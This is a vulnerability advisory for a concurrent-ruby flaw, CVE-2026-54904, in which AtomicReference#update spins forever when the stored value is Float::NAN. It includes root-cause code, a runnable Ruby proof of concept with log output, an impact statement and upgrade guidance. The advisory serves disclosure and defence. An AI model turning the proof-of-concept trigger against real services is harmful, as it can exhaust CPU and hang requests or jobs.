CVE-2026-54904: concurrent-ruby: `AtomicReference#update` livelocks when the stored value is `Float::NAN`
Summary Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between: - AtomicReference#update, which retries until compareandset(oldvalue, newvalue) succeeds. - Numeric compareandset, which checks old == oldvalue before attempting the underlying atomic swap. - Ruby NaN semantics, where Float::NAN == Float::NAN is always false.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details
AtomicReference#update retries until compareandset returns true:
ruby def update true until compareandset(oldvalue = get, newvalue = yield(oldvalue)) newvalue end
For numeric expected values, compareandset uses numeric equality before attempting the underlying atomic compare-and-set:
ruby def compareandset(oldvalue, newvalue) if oldvalue.kindof? Numeric while true old = get
return false unless old.kindof? Numeric return false unless old == oldvalue
result = compareandset(old, newvalue) return result if result end else compareandset(oldvalue, newvalue) end end
When the stored value is Float::NAN, oldvalue = get returns NaN. The later comparison old == oldvalue is false because NaN is not equal to itself. compareandset therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
ruby #!/usr/bin/env ruby frozenstringliteral: true
require 'concurrent/atomic/atomicreference' require 'concurrent/version'
puts "ruby=#{RUBYDESCRIPTION}" puts "concurrentrubyversion=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false
worker = Thread.new do ref.update do |oldvalue| attempts += 1 0.0 end finished = true end
sleep 0.25
puts "nanupdateattemptsafter250ms=#{attempts}" puts "nanupdatefinished=#{finished}" puts "nanupdateworkeralive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOTREPRODUCED' end
worker.kill worker.join
control = Concurrent::AtomicReference.new(1.0) controlattempts = 0 controlresult = control.update do |oldvalue| controlattempts += 1 oldvalue + 1.0 end
puts "controlupdateresult=#{controlresult.inspect}" puts "controlupdateattempts=#{controlattempts}" puts "controlupdatefinalvalue=#{control.value.inspect}" Log evidence text ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrentrubyversion=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nanupdateattemptsafter250ms=1926016 nanupdatefinished=false nanupdateworkeralive=true result=REPRODUCED busy retry loop; update did not complete controlupdateresult=2.0 controlupdateattempts=1 controlupdatefinalvalue=2.0
Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit Pranjali Thakur - depthfirst (depthfirst.com)
Other sources
concurrent-ruby is a modern concurrency tools for Ruby. Prior to 1.3.7, Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN. The issue is caused by the interaction between AtomicReference#update, which retries until compareandset(oldvalue, newvalue) succeeds; Numeric compareandset, which checks old == oldvalue before attempting the underlying atomic swap.; and Ruby NaN semantics, where Float::NAN == Float::NAN is always false. As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs. This vulnerability is fixed in 1.3.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
rubygems/concurrent-rubyto a version that resolves this vulnerability.Fixed in 1.3.7 - Upgrade
Upgrade
concurrent-rubyto a version that resolves this vulnerability.Fixed in 1.3.7Patch 7a1b78941c081106c20a9ca0144ac73a48d254ab
Event History
Frequently Asked Questions
What is the severity of CVE-2026-54904?
CVE-2026-54904 has a risk rating of 33.
What causes the issue in CVE-2026-54904?
The issue in CVE-2026-54904 is caused by `Concurrent::AtomicReference#update` entering a busy retry loop when the current value is `Float::NAN`.
How does CVE-2026-54904 affect software?
CVE-2026-54904 affects applications utilizing the `concurrent-ruby` gem, leading to potential performance degradation due to infinite retry loops.
How do I fix CVE-2026-54904?
To fix CVE-2026-54904, update the `concurrent-ruby` gem to the latest version where the issue has been addressed.
What version of concurrent-ruby is affected by CVE-2026-54904?
CVE-2026-54904 affects versions of the `concurrent-ruby` gem prior to the patch release.